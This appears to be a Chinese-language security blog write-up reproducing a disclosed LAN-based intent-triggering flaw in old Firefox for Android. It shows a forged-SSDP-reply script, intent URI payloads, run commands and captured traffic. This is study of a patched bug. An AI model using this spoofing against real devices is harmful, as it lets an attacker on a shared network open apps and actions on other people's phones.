基于LAN的intent触发
arch3rn4r

漏洞简述

Firefox for Android(68.11.0 及更低版本)会发送定期发送SSDP信息,在其解析LCATION时没有正确验证LOCATION字段的的信息,它错误地将 LOCATION 字段里的任何字符串(包括 intent:// 这种非标准的 URI)直接传递给了 Android 系统的 Intent 处理机制。(打开 Web 浏览器的 URI 方案定义为 http 或 https。但是,Firefox 移动版中的原生 SSDP 代码会自行处理这些 URL,而不会将它们传递给 Intent 系统。)

环境搭建

低版本的Firefox for Android下载地址:https://archive.mozilla.org/pub/mobile/releases/68.11.0/
测试脚本:https://initblog.com/images/post-firefox/ffssdp.py
测试设备:安装了目标版本的pixel4,kali Linux 虚拟机(wireshark,python3)
环境搭建:电脑和手机连接同一热点,使用wireshark进行抓包
在此次测试中的ip地址:
测试手机:192.168.165.49
电脑物理机:192.168.165.247
电脑虚拟机:192.168.165.40

注意事项
1.虚拟机使用桥接模式,ip addr查看当前网段是否正确。在物理主机ipconfig和测试手机ifconfig查看当前网络信息,确保网段一致

2.使用wireshark抓包接口,比如现在就要抓包eth0处的流量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
─# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host noprefixroute
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:0c:29:0c:2d:ba brd ff:ff:ff:ff:ff:ff
inet 192.168.43.40/24 brd 192.168.43.255 scope global dynamic eth0
valid_lft 2280sec preferred_lft 2280sec
inet6 fe80::20c:29ff:fe0c:2dba/64 scope link
valid_lft forever preferred_lft forever

3.不要使用测试手机开热点,手机作为NAT网关时,默认隔离客户端间通信(类似AP隔离模式),此时抓包,只能收到热点手机大量的MDNS流量,局域网内的其他设备流量是正常的image

漏洞分析

SSDP

简单服务发现协议**( SSDP,Simple Service Discovery Protocol)是一种应用层协议,是构成通用即插即用(UPnP)技术的核心协议之一。用于在本地网络中自动发现设备和服务。它基于HTTPU(HTTP over UDP),通常使用UDP端口1900,多播地址239.255.255.250。M-SEARCH方法是SSDP协议中的一种请求类型,用于设备主动搜索特定类型的服务。
在 SSDP 中,发起方将通过本地网络发送广播,询问有关任何可用服务的详细信息,例如第二屏幕设备或联网扬声器。任何系统都可以回复有关描述其特定服务的 XML 文件位置的详细信息。然后,发起方将自动转到该位置以解析 XML。
它发出的包和响应包如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
MAN: "ssdp:discover"
MX: 2
ST: roku:ecp


HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Sat, 19 Apr 2025 07:29:47 GMT
EXT:
LOCATION: http://example.com/device.xml
OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01
01-NLS: uuid:6702957a-5614-1dc2-4c5a-df6ea40161e2
SERVER: UPnP/1.0
ST: roku:ecp
USN: uuid:6702957a-5614-1dc2-4c5a-df6ea40161e2::roku:ecp
BOOTID.UPNP.ORG: 0
CONFIGID.UPNP.ORG: 1

SSDP 在 UDP 上使用两种形式的 HTTP:

  • HTTPMU:基于多播 UDP 的 HTTP。这意味着请求通过 UDP 广播到整个网络。这用于客户端发现设备和服务器通告设备。
  • HTTPU:基于单播 UDP 的 HTTP。这意味着请求通过 UDP 从一个主机直接发送到另一个主机。这用于响应搜索请求。
    LOCATION的值是一个URL,这个URL会指向一个xml文件,它遵循 UPnP 设备描述规范。它里面包含了关于设备的元数据和指向其他控制/事件 URL 的信息。
    需要注意的是,漏洞源于 Firefox 浏览器对 SSDP 响应中 LOCATION 字段的解析逻辑,而非 SSDP 协议本身或 XML 文件的解析过程。

脚本分析

ffssdp.py来自作者之前编写的工具evil-ssdp
它只能在linux中使用,因为它查找ip的途径是ifconfig

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def get_ip(args):
"""
This function will attempt to automatically get the IP address of the
provided interface.
"""
ip_regex = r'inet (?:addr:)?(.*?) '
sys_ifconfig = os.popen('ifconfig ' + args.interface).read()
local_ip = re.findall(ip_regex, sys_ifconfig)
try:
return local_ip[0]
except IndexError:
print(PC.warn_box + "Could not get network interface info. "
"Please check and try again.")
sys.exit()

它不主动攻击,而是等待局域网中出现SSDP信息,然后对其进行回应
核心部分
伪造回应

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
def send_location(self, address, requested_st):
"""
This function replies back to clients letting them know where they can
access more information about our device. The keys here are the
'LOCATION' header and the 'ST' header.

When a client receives this information back on the port they
initiated a discover from, they will go to that location to look for an
XML file.
"""
url = self.target
date_format = formatdate(timeval=None, localtime=False, usegmt=True)

ssdp_reply = ('HTTP/1.1 200 OK\r\n'
'CACHE-CONTROL: max-age=1800\r\n'
'DATE: {}\r\n'
'EXT:\r\n'
'LOCATION: {}\r\n'
'OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01\r\n'
'01-NLS: {}\r\n'
'SERVER: UPnP/1.0\r\n'
'ST: {}\r\n'
'USN: {}::{}\r\n'
'BOOTID.UPNP.ORG: 0\r\n'
'CONFIGID.UPNP.ORG: 1\r\n'
'\r\n\r\n'
.format(date_format,
url,
self.session_usn,
requested_st,
self.session_usn,
requested_st))
ssdp_reply = bytes(ssdp_reply, 'utf-8')
self.sock.sendto(ssdp_reply, address)

总结攻击流程:

  1. 被动监听: 脚本在指定的网络接口上监听发往 SSDP 多播地址 (239.255.255.250:1900) 的 UDP 包。
  2. 捕获请求: 当收到一个包含 “M-SEARCH” 和有效 ST: 头部的 UDP 包时,记录下发送方的 IP 和端口。
  3. 条件判断: 如果不是分析模式,并且 ST 格式基本正确。
  4. 构造响应: 创建一个虚假的 SSDP 200 OK 响应。
  5. 注入载荷: 将用户指定的恶意 Intent URI 放入响应的 LOCATION 头部。
  6. 定向回击: 将这个伪造的、包含恶意 LOCATION 的响应直接发送回发送 M-SEARCH 请求的设备 IP 和端口。
  7. 漏洞触发 (在目标设备上): 如果接收设备是运行着易受攻击 Firefox 的 Android 设备,Firefox 会错误处理这个响应,将 LOCATION 字段的恶意 URI 交给 Android Intent 系统执行,导致非预期的行为(如打开拨号器)。

构建payload

将-t后面替换成这里构造的语句就可以进行测试了

拨号器

Android 的核心应用程序之一 “拨号器” (Dialer) 在其 AndroidManifest.xml 中注册了一个 Intent Filter。这个 Intent Filter 声明它可以处理 ACTION_DIAL 或 ACTION_VIEW 类型的 Intent,并且其数据 (Data) 的 Scheme 是 tel。当你点击一个 tel://20250418 链接,或者某个应用(像这个漏洞中的 Firefox)将这个 URI 传递给系统时,Android 的 PackageManager 会查找哪个应用注册了能够处理 tel Scheme 的 Intent Filter。
PackageManager 找到了拨号器应用,系统启动拨号器应用,并将 20250418 这个号码传递给它,拨号器就会显示这个号码,等待用户确认拨打。

还有这样可以用于测试的scheme吗?

  • 标准化组织: 一些最常见的 Schemes(如 http, https, ftp, mailto)是由互联网工程任务组 (IETF) 通过 RFC 文档标准化的。
  • 平台约定: 其他一些 Schemes(如 tel, sms, geo - 地理位置)虽然可能没有严格的全球标准,但在特定平台(如 Android、iOS)上被广泛支持和理解,成为了事实上的标准。操作系统或核心应用程序(如拨号器、短信应用)会注册自己来处理这些 Schemes。

这里有一些例子,除了拨号器和文件,其他的我没有进行测试,仅供参考

sms: 或 smsto:
- 触发应用: 默认的短信/彩信应用。
- 作用: 打开短信编辑界面。
- 示例:
- sms:10086 (打开短信应用,收件人填好 10086)
- sms:10086?body=Hello (打开短信应用,填好收件人和短信内容 “Hello”)
- smsto:10086 (功能类似,sms: 更常用)
mailto:
- 触发应用: 默认的电子邮件客户端 (如 Gmail)。
- 作用: 打开邮件编辑界面。
- 示例:
- mailto:user@example.com (打开邮件应用,填好收件人)
- mailto:user@example.com?subject=Inquiry&body=Hi%20there (填好收件人、主题和正文,注意正文需要 URL 编码)
- mailto:?to=user1@example.com&cc=user2@example.com (指定收件人和抄送)
http: 或 https:
- 触发应用: 默认的网络浏览器 (如 Chrome, Firefox)。
- 作用: 在浏览器中打开指定的网页。
- 示例:
- http://www.google.com

geo:
- 触发应用: 默认的地图应用 (如 Google Maps)。
- 作用: 显示地理位置或进行地点搜索。
- 示例:
- geo:39.9042,116.4074 (显示北京的经纬度位置)
- geo:0,0?q=Eiffel+Tower (搜索埃菲尔铁塔的位置)
- geo:0,0?q=39.9042,116.4074(Beijing) (显示经纬度位置并添加标签 “Beijing”)
market:
- 触发应用: Google Play Store 应用商店。
- 作用: 打开 Play Store 到指定的应用详情页、开发者页面或搜索结果。
- 示例:
- market://details?id=com.google.android.apps.maps (打开 Google Maps 的应用详情页)
- market://search?q=browser (在 Play Store 中搜索 “browser”)
- market://developer?id=Google+LLC (打开 Google LLC 的开发者页面)

file:
- 触发应用: 文件管理器应用(如果安装并注册了处理此 Scheme)。
- 作用: 尝试打开本地文件。
- 重要说明: 出于安全原因,Android 对 file:// URI 的访问有严格限制。应用通常不能随意访问其他应用的私有文件或任意的本地文件路径。直接从浏览器或不可信来源触发 file:// URI 通常会被阻止或功能受限。应用内部访问文件通常使用 content:// URI (通过 ContentProvider) 或 Storage Access Framework。
- 示例 (可能受限): file:///sdcard/Download/document.pdf

Android intent URI

具体来源:cs.android.com
查找frameworks/base/core/java/android/content/Intent.java 文件,这里面有具体的原因,更详细
在这里给出已经总结好的结构

1
2
3
4
5
6
7
8
intent://host/path#Intent;
package=<package_name>;
scheme=<scheme_type>;
action=<action_name>;
category=<category>;
component=<component_path>;
S.<extra_key>=<extra_value>;
end

解释

  • intent:Scheme (协议头):这是整个 URI 的协议标识符。它告诉 Android 系统,这个 URI 不是一个普通的网页链接、文件路径或电话号码,而是一个需要被解析成 Android Intent 对象的特殊指令。
  • #Intent;…;end:- Fragment (片段标识符): 这是 Intent URI 的核心部分,使用 # 号开始。它包含了一系列**键值对 (key=value)**,用分号 (;) 分隔,用来描述 Intent 对象的各种属性(Action, Category, Package, Component, Extras 等)。Intent代表开始,end代表结束
  • 键值对属性 (在 #Intent; 和 ;end 之间):
    • package=(可选):指定唯一能够处理此 Intent 的应用程序包名。
    • scheme=(可选):指定 Intent 的 data URI 部分应该使用的协议方案 (Scheme)。注意: 这与整个 URI 的 intent: scheme 不同。
      • 示例: scheme=http, scheme=tel, scheme=geo。如果你在前面提供了 //host/path,这个 scheme 会被用来构成完整的 Data URI,例如 scheme=http + //example.com/ -> Data 是 http://example.com/。
    • -S. 前缀:传递附加数据(键值对)。

漏洞验证

检测ActivityManage日志
它负责管理应用程序的生命周期(启动、暂停、停止)、管理 Activity 栈(用户看到的界面切换)、启动服务,以及最关键的——处理和分发 Intent

安卓默认的URL

拨号器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
└─# python3 ./ffssdp.py eth0 -t "tel://20250419" 

_____ _____ .___
_/ ____\/ ____\______ ______ __| _/_____
\ __\\ __\/ ___// ___// __ |\____ \
| | | | \___ \ \___ \/ /_/ || |_> >
|__| |__| /____ >____ >____ || __/
\/ \/ \/|__|

...by initstring




########################################
[*] MSEARCH LISTENER: eth0
[*] INTENT: tel://20250419
########################################



[M-SEARCH] New Host 192.168.165.49, Service Type: roku:ecp
[M-SEARCH] New Host 192.168.165.49, Service Type: media:router
[M-SEARCH] New Host 192.168.165.247, Service Type: urn:dial-multiscreen-org:service:dial:1

系统响应并启动了拨号器

1
2
flame:/ # logcat | grep ActivityManager
04-19 11:42:04.980 1435 1690 I ActivityManager: Start proc 19569:com.google.android.dialer/u0a142 for activity {com.google.android.dialer/com.android.dialer.main.impl.MainActivity}

image

这是其中一组相关流量信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
MAN: "ssdp:discover"
MX: 2
ST: roku:ecp


HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Sat, 19 Apr 2025 03:42:02 GMT
EXT:
LOCATION: tel://20250419
OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01
01-NLS: uuid:f750933a-d123-c342-ae48-45d6a1f22c56
SERVER: UPnP/1.0
ST: roku:ecp
USN: uuid:f750933a-d123-c342-ae48-45d6a1f22c56::roku:ecp
BOOTID.UPNP.ORG: 0
CONFIGID.UPNP.ORG: 1

文件

1
└─# python3 ./ffssdp.py eth0 -t "file://storage/emulated/0/Download/access.log"

firefox无事发生


Android系统上使用file://协议的限制。Android的WebView和浏览器出于安全考虑,通常不允许通过file://协议访问本地文件
所以无法访问

各浏览器策略对比

浏览器 file:// 支持情况 安全策略
Firefox 默认禁用,需 about:config 调整 设置 security.fileuri.strict_origin_policy 为 false 可部分启用
Chrome 完全禁止 控制台显示 Not allowed to load local resource
Samsung Internet 允许访问 /sdcard/ 子目录 需手动授权文件夹访问权限
Via Browser 支持自定义本地文件访问 内置文件管理器导航

构建应用关联的Android Intent URL

首先是和firefox相关联的url

1
2
└─# python3 ./ffssdp.py eth0 -t "intent://example.com/#Intent;scheme=http;package=org.mozilla.firefox;end"

流量信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
MAN: "ssdp:discover"
MX: 2
ST: roku:ecp

HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Sat, 19 Apr 2025 08:40:23 GMT
EXT:
LOCATION: intent://example.com/#Intent;scheme=http;package=org.mozilla.firefox;end
OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01
01-NLS: uuid:076edbd0-e133-9a30-879a-3c62235bba08
SERVER: UPnP/1.0
ST: roku:ecp
USN: uuid:076edbd0-e133-9a30-879a-3c62235bba08::roku:ecp
BOOTID.UPNP.ORG: 0
CONFIGID.UPNP.ORG: 1

结果
image

然后是尝试触发chrome

1
└─# python3 ./ffssdp.py eth0 -t "intent://example.com/#Intent;scheme=http;package=com.android.chrome;end"

流量信息

1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Sat, 19 Apr 2025 08:45:50 GMT
EXT:
LOCATION: intent://example.com/#Intent;scheme=http;package=com.android.chrome;end
OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01
01-NLS: uuid:905594bc-7745-19ec-d5dd-ca9f47a60b7e
SERVER: UPnP/1.0
ST: urn:dial-multiscreen-org:service:dial:1
USN: uuid:905594bc-7745-19ec-d5dd-ca9f47a60b7e::urn:dial-multiscreen-org:service:dial:1
BOOTID.UPNP.ORG: 0
CONFIGID.UPNP.ORG: 1

结果
image
当然了firefox必须是在启动状态的,不然无法触发

检测http

然后检测http头的信息
”打开 Web 浏览器的 URI 方案定义为 http 或 https。但是,Firefox 移动版中的原生 SSDP 代码会自行处理这些 URL,而不会将它们传递给 Intent 系统。“
现在就是检测,当出现http://ip.xml时是不是由firefox进行处理
这里进行了两次测试

直接访问example.com

运行

1
└─# python3 ./ffssdp.py eth0 -t "http://example.com" 

信息成功传递

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
MAN: "ssdp:discover"
MX: 2
ST: roku:ecp

HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Sat, 19 Apr 2025 06:31:21 GMT
EXT:
LOCATION: http://example.com
OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01
01-NLS: uuid:7b9ef4eb-c8f4-e710-cff9-cd13c3f33f82
SERVER: UPnP/1.0
ST: roku:ecp
USN: uuid:7b9ef4eb-c8f4-e710-cff9-cd13c3f33f82::roku:ecp
BOOTID.UPNP.ORG: 0
CONFIGID.UPNP.ORG: 1

但是firefox无事发生

访问http://example.com/device.xml

指令

1
└─# python3 ./ffssdp.py eth0 -t "http://example.com/device.xml" 

pcap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
MAN: "ssdp:discover"
MX: 2
ST: roku:ecp


HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Sat, 19 Apr 2025 07:29:47 GMT
EXT:
LOCATION: http://example.com/device.xml
OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01
01-NLS: uuid:6702957a-5614-1dc2-4c5a-df6ea40161e2
SERVER: UPnP/1.0
ST: roku:ecp
USN: uuid:6702957a-5614-1dc2-4c5a-df6ea40161e2::roku:ecp
BOOTID.UPNP.ORG: 0
CONFIGID.UPNP.ORG: 1

firefox无事发生

部署http服务设备

这一步是为了检测,是不是由firefox启动的intent。自己部署服务器就能更好的看到日志信息。
1.在termux安装python

1
pkg install python

2.创建updp文件

1
2
mkdir ./upnp-server && cd ./upnp-server
nano device.xml

device.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<root xmlns="urn:schemas-upnp-org:device-1-0">
<specVersion>
<major>1</major>
<minor>0</minor>
</specVersion>
<device>
<deviceType>urn:roku.com:device:ecp:1</deviceType>
<friendlyName>My Fake Roku</friendlyName>
<manufacturer>Test Corp</manufacturer>
<modelName>UPnP Test Device</modelName>
<UDN>uuid:7b9ef4eb-c8f4-e710-cff9-cd13c3f33f82</UDN>
<serviceList>
<service>
<serviceType>urn:roku.com:service:ecp:1</serviceType>
<serviceId>urn:roku.com:serviceId:ecp</serviceId>
<controlURL>/control</controlURL>
</service>
</serviceList>
</device>
</root>

3.启动服务

1
python -m http.server 8080 --bind 0.0.0.0

4.在虚拟机启动脚本

1
└─# python3 ./ffssdp.py eth0 -t "http://192.168.165.49:8080/device.xml" 

这是部分流量文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
MAN: "ssdp:discover"
MX: 2
ST: roku:ecp


HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Sat, 19 Apr 2025 07:53:00 GMT
EXT:
LOCATION: http://192.168.165.49:8080/device.xml
OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01
01-NLS: uuid:ddc5543d-9945-5a23-62be-360ea199a831
SERVER: UPnP/1.0
ST: roku:ecp
USN: uuid:ddc5543d-9945-5a23-62be-360ea199a831::roku:ecp
BOOTID.UPNP.ORG: 0
CONFIGID.UPNP.ORG: 1

文件被访问了
image
此外在调试中发现,开启reqable尝试对firefox进行抓包时,无反应,关掉reqable时才开始正常访问xml文件
启用 Firefox 网络监控
在 Firefox 地址栏输入:

1
about:networking

可以看到的确是访问了目标xml文件
image

为了追踪其来源,编写了server.py文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from http.server import SimpleHTTPRequestHandler
import logging

class CustomHandler(SimpleHTTPRequestHandler):
def log_request(self, code='-', size='-'):
logging.info(
f"UA:{self.headers['User-Agent']} | IP:{self.client_address[0]} | PATH:{self.path}"
)

if __name__ == '__main__':
import logging
logging.basicConfig(
filename='access.log',
level=logging.INFO,
format='%(asctime)s - %(message)s'
)
from http.server import HTTPServer
server = HTTPServer(('0.0.0.0', 8080), CustomHandler)
server.serve_forever()

这是部分日志

1
2
3
4
2025-04-19 16:18:18,891 - UA:Mozilla/5.0 (Android 10; Mobile; rv:68.0) Gecko/68.0 Firefox/68.0 | IP:192.168.165.49 | PATH:/device.xml
2025-04-19 16:18:19,890 - UA:Mozilla/5.0 (Android 10; Mobile; rv:68.0) Gecko/68.0 Firefox/68.0 | IP:192.168.165.49 | PATH:/device.xml
2025-04-19 16:18:20,898 - UA:Mozilla/5.0 (Android 10; Mobile; rv:68.0) Gecko/68.0 Firefox/68.0 | IP:192.168.165.49 | PATH:/device.xml
...

在这份日志里只有firefox的记录,也就是说,http请求的确是firefox在处理


这说明该漏洞不是简单的将LOCATION当成Intent 执行,对于http://和https://这样的标准的字段它有自己的处理模式,而对于非常规范围内的tel:// 或 intent:// 的处理路径它将其转发给了安卓处理

参考资料

https://initblog.com/2020/firefox-android/
另一个视角的博客:https://blog.mozilla.org/attack-and-defense/2020/11/10/firefox-for-android-lan-based-intent-triggering/?utm_source=chatgpt.com
firefox官网,在这里查找漏洞信息:https://www.mozilla.org/en-US/security/advisories/
https://developer.android.com/reference/android/app/ActivityManager
https://developer.android.com/guide/components/intents-filters?hl=zh-cn
Android 开源项目 (AOSP) 源代码 :cs.android.com

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
总字数 55.5k 访客数